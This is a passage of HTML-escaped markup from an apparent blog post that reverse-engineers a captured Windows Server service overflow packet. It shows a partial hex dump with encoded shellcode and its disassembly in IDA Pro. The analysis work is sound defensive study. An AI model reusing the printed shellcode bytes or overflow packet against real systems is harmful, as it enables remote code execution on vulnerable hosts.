&lt;/span&gt;H...1.......1...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00c0:&lt;span style=""&gt;  &lt;/span&gt;5c00 7074 7a55 6751 515a 624b 7854 6374&lt;span style=""&gt;  &lt;/span&gt;\.ptzUgQQZbKxTct&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;0x00d0:&lt;span style=""&gt;  &lt;/span&gt;474d 5046 426f 6e4c 4655 7271 4343 6d44&lt;span style=""&gt;  &lt;/span&gt;GMPFBonLFUrqCCmD&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00e0:&lt;span style=""&gt;  &lt;/span&gt;624a 544b 4e79 6749 4770 4e45 5246 7756&lt;span style=""&gt;  &lt;/span&gt;bJTKNygIGpNERFwV&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00f0:&lt;span style=""&gt;  &lt;/span&gt;5878 416a 4266 6242 5554 716a 5143 4e74&lt;span style=""&gt;  &lt;/span&gt;XxAjBfbBUTqjQCNt&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0100:&lt;span style=""&gt;  &lt;/span&gt;5a65 4f73 4b79 5847 7a58 7448 6641 7276&lt;span style=""&gt;  &lt;/span&gt;ZeOsKyXGzXtHfArv&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0110:&lt;span style=""&gt;  &lt;/span&gt;4572 615a 786b 627a 5868 5974 4459 7245&lt;span style=""&gt;  &lt;/span&gt;EraZxkbzXhYtDYrE&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0120:&lt;span style=""&gt;  &lt;/span&gt;7961 6e48 676d &lt;span style="background: yellow none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;e8ff ffff ff&lt;/span&gt;c1 5e8d 4e10&lt;span style=""&gt;  &lt;/span&gt;yanHgm......^.N. &lt;b style=""&gt;&lt;span style="color: red;"&gt;&lt;-Shellcode Start&lt;/span&gt;&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0130:&lt;span style=""&gt;  &lt;/span&gt;8031 c441 6681 3945 5075 f5ae c69d a04f&lt;span style=""&gt;  &lt;/span&gt;.1.Af.9EPu.....O&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0140:&lt;span style=""&gt;  &lt;/span&gt;85ea 4f84 c84f 84d8 4fc4 4f9c cc49 7258&lt;span style=""&gt;  &lt;/span&gt;..O..O..O.O..IrX&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0150:&lt;span style=""&gt;  &lt;/span&gt;c4c4 c42c edc4 c4c4 9426 3c4f 3892 3bd3&lt;span style=""&gt;  &lt;/span&gt;...,.....&amp;amp;&lt;o8.;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0160:&lt;span style=""&gt;  &lt;/span&gt;5747 02c3 2cdc c4c4 c4f7 1696 964f 08a2&lt;span style=""&gt;  &lt;/span&gt;WG..,........O..&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0170:&lt;span style=""&gt;  &lt;/span&gt;03c5 bcea 953b b3c0 9696 9592 963b f33b&lt;span style=""&gt;  &lt;/span&gt;.....;.......;.;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0180:&lt;span style=""&gt;  &lt;/span&gt;2469 9592 514f 8ff8 4f88 cfbc c70f f732&lt;span style=""&gt;  &lt;/span&gt;$i..QO..O......2&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0190:&lt;span style=""&gt;  &lt;/span&gt;49d0 77c7 95e4 4fd6 c717 f704 0504 c3f6&lt;span style=""&gt;  &lt;/span&gt;I.w...O.........&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x01a0:&lt;span style=""&gt;  &lt;/span&gt;c686 44fe c4b1 31ff 01b0 c282 ffb5 dcb6&lt;span style=""&gt;  &lt;/span&gt;..D...1.........&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x01b0:&lt;span style=""&gt;  &lt;/span&gt;1b4f 95e0 c717 cb73 d0b6 4f85 d8c7 074f&lt;span style=""&gt;  &lt;/span&gt;.O.....s..O....O&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x01c0:&lt;span style=""&gt;  &lt;/span&gt;c054 c707 9a9d 07a4 664e b2e2 4468 0cb1&lt;span style=""&gt;  &lt;/span&gt;.T......fN..Dh..&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x01d0:&lt;span style=""&gt;  &lt;/span&gt;b6a8 a9ab aac4 5de7 991d acb0 b0b4 feeb&lt;span style=""&gt;  &lt;/span&gt;......].........&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x01e0:&lt;span style=""&gt;  &lt;/span&gt;ebf5 fdf6 eaf5 f2fc eaf6 f0fc eaf5 f6fc&lt;span style=""&gt;  &lt;/span&gt;................&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x01f0:&lt;span style=""&gt;  &lt;/span&gt;fefc f5f5 fdeb a6a1 a7a1 b6c4 4550 7257&lt;span style=""&gt;  &lt;/span&gt;............EPrW&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0200:&lt;span style=""&gt;  &lt;/span&gt;786f 5741 7659 4161 6e78 7650 7842 666e&lt;span style=""&gt;  &lt;/span&gt;xoWAvYAanxvPxBfn&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0210:&lt;span style=""&gt;  &lt;/span&gt;5541 4d57 7267 4e6a 7077 6650 6f48 587a&lt;span style=""&gt;  &lt;/span&gt;UAMWrgNjpwfPoHXz&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0220:&lt;span style=""&gt;  &lt;/span&gt;6567 6868 7854 6949 4564 774a 5369 764f&lt;span style=""&gt;  &lt;/span&gt;eghhxTiIEdwJSivO&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0230:&lt;span style=""&gt;  &lt;/span&gt;6352 505a 4d75 7946 7771 6245 694b 777a&lt;span style=""&gt;  &lt;/span&gt;cRPZMuyFwqbEiKwz&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;0x0240:&lt;span style=""&gt;  &lt;/span&gt;5972 4768 7046 6d4e 6a6d 5371 4264 4c57&lt;span style=""&gt;  &lt;/span&gt;YrGhpFmNjmSqBdLW&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0250:&lt;span style=""&gt;  &lt;/span&gt;6e4d 4b64 6544 434d 696e 4c6c 4e79 7342&lt;span style=""&gt;  &lt;/span&gt;nMKdeDCMinLlNysB&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0260:&lt;span style=""&gt;  &lt;/span&gt;456b 6272 6c6b 7163 437a 5854 6e55 4f5a&lt;span style=""&gt;  &lt;/span&gt;EkbrlkqcCzXTnUOZ&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0270:&lt;span style=""&gt;  &lt;/span&gt;4256 4c69 5547 686b 6166 6242 5961 554b&lt;span style=""&gt;  &lt;/span&gt;BVLiUGhkafbBYaUK&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0280:&lt;span style=""&gt;  &lt;/span&gt;506e 4165 6849 5749 4e61 4f75 6f77 7947&lt;span style=""&gt;  &lt;/span&gt;PnAehIWINaOuowyG&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0290:&lt;span style=""&gt;  &lt;/span&gt;7857 6f63 436d 714b 5651 426a 636d 586d&lt;span style=""&gt;  &lt;/span&gt;xWocCmqKVQBjcmXm&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x02a0:&lt;span style=""&gt;  &lt;/span&gt;5453 5063 546c 4242 4d4a 654e 7058 5757&lt;span style=""&gt;  &lt;/span&gt;TSPcTlBBMJeNpXWW&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x02b0:&lt;span style=""&gt;  &lt;/span&gt;617a 5257 6772 5c00 2e00 2e00 5c00 2e00&lt;span style=""&gt;  &lt;/span&gt;azRWgr\.....\...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x02c0:&lt;span style=""&gt;  &lt;/span&gt;2e00 5c00 4100 5400 4f00 5a00 4d00 5500&lt;span style=""&gt;  &lt;/span&gt;..\.A.T.O.Z.M.U.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x02d0:&lt;span style=""&gt;  &lt;/span&gt;4500 0804 0200 e216 896f 454f 575a 27f7&lt;span style=""&gt;  &lt;/span&gt;E........oEOWZ'.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x02e0:&lt;span style=""&gt;  &lt;/span&gt;886f 4958 484a 524f 5843 5842 5957 5a58&lt;span style=""&gt;  &lt;/span&gt;.oIXHJROXCXBYWZX&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x02f0:&lt;span style=""&gt;  &lt;/span&gt;4f4e 4c4b 524f 5046 4746 424c 5256 5143&lt;span style=""&gt;  &lt;/span&gt;ONLKROPFGFBLRVQC&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0300:&lt;span style=""&gt;  &lt;/span&gt;5752 4f51 554a 544e 4659 474a 924a 24b6&lt;span style=""&gt;  &lt;/span&gt;WROQUJTNFYGJ.J$.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0310:&lt;span style=""&gt;  &lt;/span&gt;9703 f537 eb62 5159 5743 5357 4a42 4b50&lt;span style=""&gt;  &lt;/span&gt;...7.bQYWCSWJBKP&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0320:&lt;span style=""&gt;  &lt;/span&gt;0000 7700 1f03 0000 0200 0000 0000 0000&lt;span style=""&gt;  &lt;/span&gt;..w.............&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0330:&lt;span style=""&gt;  &lt;/span&gt;0200 0000 5c00 0000 0101 0000 0000 0000&lt;span style=""&gt;  &lt;/span&gt;....\...........&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;This is the server service packet with the path that contains the overflow and shellcode:&lt;span style=""&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"&gt;  &lt;v:stroke joinstyle="miter"&gt;  &lt;v:formulas&gt;   &lt;v:f eqn="if lineDrawn pixelLineWidth 0"&gt;   &lt;v:f eqn="sum @0 1 0"&gt;   &lt;v:f eqn="sum 0 0 @1"&gt;   &lt;v:f eqn="prod @2 1 2"&gt;   &lt;v:f eqn="prod @3 21600 pixelWidth"&gt;   &lt;v:f eqn="prod @3 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @0 0 1"&gt;   &lt;v:f eqn="prod @6 1 2"&gt;   &lt;v:f eqn="prod @7 21600 pixelWidth"&gt;   &lt;v:f eqn="sum @8 21600 0"&gt;   &lt;v:f eqn="prod @7 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @10 21600 0"&gt;  &lt;/v:formulas&gt;  &lt;v:path extrusionok="f" gradientshapeok="t" connecttype="rect"&gt;  &lt;o:lock ext="edit" aspectratio="t"&gt; &lt;/v:shapetype&gt;&lt;v:shape id="Picture_x0020_1" spid="_x0000_i1025" type="#_x0000_t75" style="'width:468pt;height:368.25pt;visibility:visible;mso-wrap-style:square'"&gt;  &lt;v:imagedata src="file:///C:\Users\eon\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png" title="" cropright="36637f"&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;img src="file:///C:/Users/eon/AppData/Local/Temp/msohtmlclip1/01/clip_image002.jpg" shapes="Picture_x0020_1" width="624" height="491" /&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;span style=""&gt; &lt;/span&gt;Finding the beginning of the shellcode can at times be a bit tricky.&lt;span style=""&gt;  &lt;/span&gt;We know it is in here, but there is no clear beginning.&lt;span style=""&gt;  &lt;/span&gt;The first thing I look for is a 0xEB followed by a small value i.e. a short “Jump” instruction.&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;Here, there is no clear sign, and tracing all instances of 0xEB in IDA Pro does not yield any valid code.&lt;span style=""&gt;  &lt;/span&gt;The thing that caught my eye was in the middle at offset 0x0134 a 0xE8 0xFF etc…&lt;span style=""&gt;  &lt;/span&gt;This looks like a “Call” instruction to a previous address.&lt;span style=""&gt;  &lt;/span&gt;We’ll start here.&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;Attempting to disassemble at 0x0134 yeilds:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div style="border: 1pt solid windowtext; padding: 1pt 4pt;"&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000134 loc_134:&lt;span style=""&gt;                                &lt;/span&gt;; CODE XREF: seg000:loc_134p&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000134&lt;span style=""&gt;                 &lt;/span&gt;call&lt;span style=""&gt;    &lt;/span&gt;near ptr loc_134+4&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000139&lt;span style=""&gt;                 &lt;/span&gt;rcr&lt;span style=""&gt;     &lt;/span&gt;dword ptr [esi-73h], 4Eh&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:0000013D&lt;span style=""&gt;                 &lt;/span&gt;adc&lt;span style=""&gt;     &lt;/span&gt;[eax+6641C431h], al&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000143&lt;span style=""&gt;                 &lt;/span&gt;cmp&lt;span style=""&gt;     &lt;/span&gt;dword ptr [ecx], 0F5755045h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000149&lt;span style=""&gt;                 &lt;/span&gt;scasb&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:0000014A&lt;span style=""&gt;                 &lt;/span&gt;mov&lt;span style=""&gt;     &lt;/span&gt;byte ptr [ebp-157AB060h], 4Fh ; 'O'&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000151&lt;span style=""&gt;                 &lt;/span&gt;test&lt;span style=""&gt;    &lt;/span&gt;cl, al&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000153&lt;span style=""&gt;                 &lt;/span&gt;dec&lt;span style=""&gt;     &lt;/span&gt;edi&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000154&lt;span style=""&gt;                 &lt;/span&gt;test&lt;span style=""&gt;    &lt;/span&gt;bl, al&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000156&lt;span style=""&gt;                 &lt;/span&gt;dec&lt;span style=""&gt;     &lt;/span&gt;edi&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000157&lt;span style=""&gt;                 &lt;/span&gt;les&lt;span style=""&gt;     &lt;/span&gt;ecx, [edi-64h]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:0000015A&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;             &lt;/span&gt;int&lt;span style=""&gt;     &lt;/span&gt;3&lt;span style=""&gt;               &lt;/span&gt;; Trap to Debugger&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:0000015B&lt;span style=""&gt;                 &lt;/span&gt;dec&lt;span style=""&gt;     &lt;/span&gt;ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:0000015C&lt;span style=""&gt;                 &lt;/span&gt;jb&lt;span style=""&gt;      &lt;/span&gt;short loc_1B6 &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" 